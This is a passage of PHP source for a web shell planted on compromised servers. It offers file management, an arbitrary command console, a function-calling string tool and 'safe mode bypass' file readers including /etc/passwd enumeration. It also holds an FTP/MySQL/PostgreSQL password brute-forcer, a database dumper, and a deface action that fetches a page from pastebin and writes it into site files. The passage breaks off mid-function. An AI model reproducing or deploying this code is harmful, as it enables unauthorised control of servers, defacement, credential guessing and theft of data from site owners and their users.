643 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
644 }
645 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
646 $def = file_get_contents('http://pastebin.com/download.php?i=f8T6tQse');
647 file_put_contents($_POST['c'].$_POST['p2'],$def);
648 }
649 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
650 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
651 global $sort;
652 $sort = array('name', 1);
653 if(!empty($_POST['p1'])) {
654 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
655 $sort = array($match[1], (int)$match[2]);
656 }
657 echo '<script>
658 function sa() {
659 for(i=0;i<document.files.elements.length;i++)
660 if(document.files.elements[i].type == \'checkbox\')
661 document.files.elements[i].checked = document.files.elements[0].checked;
662 }
663 </script>
664 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
665 <form name=files method=post>';
666 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
667 $dirs = $files = $links = array();
668 $n = count($dirContent);
669 for($i=0;$i<$n;$i++) {
670 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
671 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
672 $tmp = array('name' => $dirContent[$i],
673 'path' => $GLOBALS['cwd'].$dirContent[$i],
674 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
675 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
676 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
677 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
678 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
679 );
680 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
681 $files[] = array_merge($tmp, array('type' => 'file'));
682 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
683 $links[] = array_merge($tmp, array('type' => 'link'));
684 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
685 $dirs[] = array_merge($tmp, array('type' => 'dir'));
686 }
687 $GLOBALS['sort'] = $sort;
688 function cmp($a, $b) {
689 if($GLOBALS['sort'][0] != 'size')
690 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
691 else
692 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
693 }
694 usort($files, "cmp");
695 usort($dirs, "cmp");
696 usort($links, "cmp");
697 $files = array_merge($dirs, $links, $files);
698 $l = 0;
699 foreach($files as $f) {
700 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
701 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
702 $l = $l?0:1;
703 }
704 echo '<tr><td colspan=5>
705 <input type=hidden name=a value=\'FilesMan\'>
706 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
707 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
708 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
709 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
710 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
711 </form></table></div>';
712 printFooter();
713}
714
715function actionStringTools() {
716 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
717 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
718 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
719 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
720
721 if(isset($_POST['ajax'])) {
722 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
723 ob_start();
724 if(function_exists($_POST['p1']))
725 echo $_POST['p1']($_POST['p2']);
726 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
727 echo strlen($temp), "\n", $temp;
728 exit;
729 }
730 printHeader();
731 echo '<h1>String conversions</h1><div class=content>';
732 $stringTools = array(
733 'Base64 encode' => 'base64_encode',
734 'Base64 decode' => 'base64_decode',
735 'Url encode' => 'urlencode',
736 'Url decode' => 'urldecode',
737 'Full urlencode' => 'full_urlencode',
738 'md5 hash' => 'md5',
739 'sha1 hash' => 'sha1',
740 'crypt' => 'crypt',
741 'CRC32' => 'crc32',
742 'ASCII to HEX' => 'ascii2hex',
743 'HEX to ASCII' => 'hex2ascii',
744 'HEX to DEC' => 'hexdec',
745 'HEX to BIN' => 'hex2bin',
746 'DEC to HEX' => 'dechex',
747 'DEC to BIN' => 'decbin',
748 'BIN to HEX' => 'bin2hex',
749 'BIN to DEC' => 'bindec',
750 'String to lower case' => 'strtolower',
751 'String to upper case' => 'strtoupper',
752 'Htmlspecialchars' => 'htmlspecialchars',
753 'String length' => 'strlen',
754 );
755 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
756 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
757 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
758 foreach($stringTools as $k => $v)
759 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
760 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
761 if(!empty($_POST['p1'])) {
762 if(function_exists($_POST['p1']))
763 echo htmlspecialchars($_POST['p1']($_POST['p2']));
764 }
765 echo"</pre></div>";
766 printFooter();
767}
768
769function actionFilesTools() {
770 if( isset($_POST['p1']) )
771 $_POST['p1'] = urldecode($_POST['p1']);
772 if(@$_POST['p2']=='download') {
773 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
774 ob_start("ob_gzhandler", 4096);
775 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
776 if (function_exists("mime_content_type")) {
777 $type = @mime_content_type($_POST['p1']);
778 header("Content-Type: ".$type);
779 }
780 $fp = @fopen($_POST['p1'], "r");
781 if($fp) {
782 while(!@feof($fp))
783 echo @fread($fp, 1024);
784 fclose($fp);
785 }
786 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
787
788 }
789 exit;
790 }
791 if( @$_POST['p2'] == 'mkfile' ) {
792 if(!file_exists($_POST['p1'])) {
793 $fp = @fopen($_POST['p1'], 'w');
794 if($fp) {
795 $_POST['p2'] = "edit";
796 fclose($fp);
797 }
798 }
799 }
800 printHeader();
801 echo '<h1>File tools</h1><div class=content>';
802 if( !file_exists(@$_POST['p1']) ) {
803 echo 'File not exists';
804 printFooter();
805 return;
806 }
807 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
808 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
809 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
810 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
811 if( empty($_POST['p2']) )
812 $_POST['p2'] = 'view';
813 if( is_file($_POST['p1']) )
814 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
815 else
816 $m = array('Chmod', 'Rename', 'Touch');
817 foreach($m as $v)
818 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
819 echo '<br><br>';
820 switch($_POST['p2']) {
821 case 'view':
822 echo '<pre class=ml1>';
823 $fp = @fopen($_POST['p1'], 'r');
824 if($fp) {
825 while( !@feof($fp) )
826 echo htmlspecialchars(@fread($fp, 1024));
827 @fclose($fp);
828 }
829 echo '</pre>';
830 break;
831 case 'highlight':
832 if( is_readable($_POST['p1']) ) {
833 echo '<div class=ml1 style="background-color: #430303;color:black;">';
834 $code = highlight_file($_POST['p1'],true);
835 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
836 }
837 break;
838 case 'chmod':
839 if( !empty($_POST['p3']) ) {
840 $perms = 0;
841 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
842 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
843 if(!@chmod($_POST['p1'], $perms))
844 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
845 else
846 die('<script>g(null,null,null,null,"")</script>');
847 }
848 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
849 break;
850 case 'edit':
851 if( !is_writable($_POST['p1'])) {
852 echo 'File isn\'t writeable';
853 break;
854 }
855 if( !empty($_POST['p3']) ) {
856 @file_put_contents($_POST['p1'],$_POST['p3']);
857 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
858 }
859 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
860 $fp = @fopen($_POST['p1'], 'r');
861 if($fp) {
862 while( !@feof($fp) )
863 echo htmlspecialchars(@fread($fp, 1024));
864 @fclose($fp);
865 }
866 echo '</textarea><input type=submit value=">>"></form>';
867 break;
868 case 'hexdump':
869 $c = @file_get_contents($_POST['p1']);
870 $n = 0;
871 $h = array('00000000<br>','','');
872 $len = strlen($c);
873 for ($i=0; $i<$len; ++$i) {
874 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
875 switch ( ord($c[$i]) ) {
876 case 0: $h[2] .= ' '; break;
877 case 9: $h[2] .= ' '; break;
878 case 10: $h[2] .= ' '; break;
879 case 13: $h[2] .= ' '; break;
880 default: $h[2] .= $c[$i]; break;
881 }
882 $n++;
883 if ($n == 32) {
884 $n = 0;
885 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
886 $h[1] .= '<br>';
887 $h[2] .= "\n";
888 }
889 }
890 echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
891 break;
892 case 'rename':
893 if( !empty($_POST['p3']) ) {
894 if(!@rename($_POST['p1'], $_POST['p3']))
895 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
896 else
897 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
898 }
899 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
900 break;
901 case 'touch':
902 if( !empty($_POST['p3']) ) {
903 $time = strtotime($_POST['p3']);
904 if($time) {
905 if(@touch($_POST['p1'],$time,$time))
906 die('<script>g(null,null,null,null,"")</script>');
907 else {
908 echo 'Fail!<script>document.mf.p3.value="";</script>';
909 }
910 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
911 }
912 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
913 break;
914 case 'mkfile':
915
916 break;
917 }
918 echo '</div>';
919 printFooter();
920}
921
922function actionSafeMode() {
923 $temp='';
924 ob_start();
925 switch($_POST['p1']) {
926 case 1:
927 $temp=@tempnam($test, 'cx');
928 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
929 echo @file_get_contents($temp);
930 unlink($temp);
931 } else
932 echo 'Sorry... Can\'t open file';
933 break;
934 case 2:
935 $files = glob($_POST['p2'].'*');
936 if( is_array($files) )
937 foreach ($files as $filename)
938 echo $filename."\n";
939 break;
940 case 3:
941 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
942 curl_exec($ch);
943 break;
944 case 4:
945 ini_restore("safe_mode");
946 ini_restore("open_basedir");
947 include($_POST['p2']);
948 break;
949 case 5:
950 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
951 $uid = @posix_getpwuid($_POST['p2']);
952 if ($uid)
953 echo join(':',$uid)."\n";
954 }
955 break;
956 case 6:
957 if(!function_exists('imap_open'))break;
958 $stream = imap_open($_POST['p2'], "", "");
959 if ($stream == FALSE)
960 break;
961 echo imap_body($stream, 1);
962 imap_close($stream);
963 break;
964 }
965 $temp = ob_get_clean();
966 printHeader();
967 echo '<h1>Safe mode bypass</h1><div class=content>';
968 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
969 if($temp)
970 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
971 echo '</div>';
972 printFooter();
973}
974
975function actionConsole() {
976 if(isset($_POST['ajax'])) {
977 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
978 ob_start();
979 echo "document.cf.cmd.value='';\n";
980 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
981 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
982 if(@chdir($match[1])) {
983 $GLOBALS['cwd'] = @getcwd();
984 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
985 }
986 }
987 echo "document.cf.output.value+='".$temp."';";
988 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
989 $temp = ob_get_clean();
990 echo strlen($temp), "\n", $temp;
991 exit;
992 }
993 printHeader();
994
995echo '<script>
996if(window.Event) window.captureEvents(Event.KEYDOWN);
997var cmds = new Array("");
998var cur = 0;
999function kp(e) {
1000 var n = (window.Event) ? e.which : e.keyCode;
1001 if(n == 38) {
1002 cur--;
1003 if(cur>=0)
1004 document.cf.cmd.value = cmds[cur];
1005 else
1006 cur++;
1007 } else if(n == 40) {
1008 cur++;
1009 if(cur < cmds.length)
1010 document.cf.cmd.value = cmds[cur];
1011 else
1012 cur--;
1013 }
1014}
1015function add(cmd) {
1016 cmds.pop();
1017 cmds.push(cmd);
1018 cmds.push("");
1019 cur = cmds.length-1;
1020}
1021</script>';
1022 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1023 foreach($GLOBALS['aliases'] as $n => $v) {
1024 if($v == '') {
1025 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1026 continue;
1027 }
1028 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1029 }
1030 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1031 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1032 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1033 if(!empty($_POST['p1'])) {
1034 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1035 }
1036 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1037 echo '</form></div><script>document.cf.cmd.focus();</script>';
1038 printFooter();
1039}
1040
1041function actionLogout() {
1042 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1043 echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i59.tinypic.com/1zx9mbb.gif"><br>
1044<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
1045<span style="color:red;font: 20pt audiowide;text-shadow: 0 0 4px white, 0px 0px 10px red">Your are out now :D<br></h2></span></center></body>';
1046}
1047
1048function actionSelfRemove() {
1049 printHeader();
1050 if($_POST['p1'] == 'yes') {
1051 if(@unlink(SELF_PATH))
1052 die('Shell has been removed');
1053 else
1054 echo 'unlink error!';
1055 }
1056 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1057 printFooter();
1058}
1059
1060function actionBruteforce() {
1061 printHeader();
1062 if( isset($_POST['proto']) ) {
1063 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1064 if( $_POST['proto'] == 'ftp' ) {
1065 function bruteForce($ip,$port,$login,$pass) {
1066 $fp = @ftp_connect($ip, $port?$port:21);
1067 if(!$fp) return false;
1068 $res = @ftp_login($fp, $login, $pass);
1069 @ftp_close($fp);
1070 return $res;
1071 }
1072 } elseif( $_POST['proto'] == 'mysql' ) {
1073 function bruteForce($ip,$port,$login,$pass) {
1074 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1075 @mysql_close($res);
1076 return $res;
1077 }
1078 } elseif( $_POST['proto'] == 'pgsql' ) {
1079 function bruteForce($ip,$port,$login,$pass) {
1080 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1081 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1082 @pg_close($res);
1083 return $res;
1084 }
1085 }
1086 $success = 0;
1087 $attempts = 0;
1088 $server = explode(":", $_POST['server']);
1089 if($_POST['type'] == 1) {
1090 $temp = @file('/etc/passwd');
1091 if( is_array($temp) )
1092 foreach($temp as $line) {
1093 $line = explode(":", $line);
1094 ++$attempts;
1095 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1096 $success++;
1097 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1098 }
1099 if(@$_POST['reverse']) {
1100 $tmp = "";
1101 for($i=strlen($line[0])-1; $i>=0; --$i)
1102 $tmp .= $line[0][$i];
1103 ++$attempts;
1104 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1105 $success++;
1106 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1107 }
1108 }
1109 }
1110 } elseif($_POST['type'] == 2) {
1111 $temp = @file($_POST['dict']);
1112 if( is_array($temp) )
1113 foreach($temp as $line) {
1114 $line = trim($line);
1115 ++$attempts;
1116 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1117 $success++;
1118 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1119 }
1120 }
1121 }
1122 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1123 }
1124 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1125 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1126 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1127 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1128 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1129 .'<span>Server:port</span></td>'
1130 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1131 .'<tr><td><span>Brute type</span></td>'
1132 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1133 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1134 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1135 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1136 .'<td><input type=text name=login value="komsen"></td></tr>'
1137 .'<tr><td><span>Dictionary</span></td>'
1138 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1139 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1140 echo '</div><br>';
1141 printFooter();
1142}
1143
1144function actionSql() {
1145 class DbClass {
1146 var $type;
1147 var $link;
1148 var $res;
1149 function DbClass($type) {
1150 $this->type = $type;
1151 }
1152 function connect($host, $user, $pass, $dbname){
1153 switch($this->type) {
1154 case 'mysql':
1155 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1156 break;
1157 case 'pgsql':
1158 $host = explode(':', $host);
1159 if(!$host[1]) $host[1]=5432;
1160 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1161 break;
1162 }
1163 return false;
1164 }
1165 function selectdb($db) {
1166 switch($this->type) {
1167 case 'mysql':
1168 if (@mysql_select_db($db))return true;
1169 break;
1170 }
1171 return false;
1172 }
1173 function query($str) {
1174 switch($this->type) {
1175 case 'mysql':
1176 return $this->res = @mysql_query($str);
1177 break;
1178 case 'pgsql':
1179 return $this->res = @pg_query($this->link,$str);
1180 break;
1181 }
1182 return false;
1183 }
1184 function fetch() {
1185 $res = func_num_args()?func_get_arg(0):$this->res;
1186 switch($this->type) {
1187 case 'mysql':
1188 return @mysql_fetch_assoc($res);
1189 break;
1190 case 'pgsql':
1191 return @pg_fetch_assoc($res);
1192 break;
1193 }
1194 return false;
1195 }
1196 function listDbs() {
1197 switch($this->type) {
1198 case 'mysql':
1199 return $this->res = @mysql_list_dbs($this->link);
1200 break;
1201 case 'pgsql':
1202 return $this->res = $this->query("SELECT datname FROM pg_database");
1203 break;
1204 }
1205 return false;
1206 }
1207 function listTables() {
1208 switch($this->type) {
1209 case 'mysql':
1210 return $this->res = $this->query('SHOW TABLES');
1211 break;
1212 case 'pgsql':
1213 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1214 break;
1215 }
1216 return false;
1217 }
1218 function error() {
1219 switch($this->type) {
1220 case 'mysql':
1221 return @mysql_error($this->link);
1222 break;
1223 case 'pgsql':
1224 return @pg_last_error($this->link);
1225 break;
1226 }
1227 return false;
1228 }
1229 function setCharset($str) {
1230 switch($this->type) {
1231 case 'mysql':
1232 if(function_exists('mysql_set_charset'))
1233 return @mysql_set_charset($str, $this->link);
1234 else
1235 $this->query('SET CHARSET '.$str);
1236 break;
1237 case 'mysql':
1238 return @pg_set_client_encoding($this->link, $str);
1239 break;
1240 }
1241 return false;
1242 }
1243 function dump($table) {
1244 switch($this->type) {
1245 case 'mysql':
1246 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1247 $create = mysql_fetch_array($res);
1248 echo $create[1].";\n\n";
1249 $this->query('SELECT * FROM `'.$table.'`');
1250 while($item = $this->fetch()) {
1251 $columns = array();
1252 foreach($item as $k=>$v) {
1253 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1254 $columns[] = "`".$k."`";
1255 }
1256 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1257 }
1258 break;
1259 case 'pgsql':
1260 $this->query('SELECT * FROM '.$table);
1261 while($item = $this->fetch()) {
1262 $columns = array();
1263 foreach($item as $k=>$v) {
1264 $item[$k] = "'".addslashes($v)."'";
1265 $columns[] = $k;
1266 }
1267 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1268 }
1269 break;
1270 }
1271 return false;
1272 }
1273 };
1274 $db = new DbClass(@$_POST['type']);
1275 if(@$_POST['p2']=='download') {
1276 ob_start("ob_gzhandler", 4096);
1277 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1278 $db->selectdb($_POST['sql_base']);
1279 header("Content-Disposition: attachment; filename=dump.sql");
1280 header("Content-Type: text/plain");
1281 foreach($_POST['tbl'] as $v)
1282 $db->dump($v);
1283 exit;
1284 }
1285 printHeader();
1286 echo '<h1>Sql browser</h1><div class=content>
1287 <form name="sf" method="post">
1288 <table cellpadding="2" cellspacing="0">
1289 <tr>
1290 <td>Type</td>
1291 <td>Host</td>
1292 <td>Login</td>
1293 <td>Password</td>
1294 <td>Database</td>
1295 <td></td>
1296 </tr>
1297 <tr>
1298 <input type=hidden name=a value=Sql>
1299 <input type=hidden name=p1 value=\'query\'>
1300 <input type=hidden name=p2>
1301 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1302 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1303 <td>
1304 <select name=\'type\'>
1305 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1306 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1307 </select></td>
1308 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1309 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1310 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1311 <td>';
1312 $tmp = "<input type=text name=sql_base value=''>";
1313 if(isset($_POST['sql_host'])){
1314 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1315 switch($_POST['charset']) {
1316 case "Windows-1251": $db->setCharset('cp1251'); break;
1317 case "UTF-8": $db->setCharset('utf8'); break;
1318 case "KOI8-R": $db->setCharset('koi8r'); break;
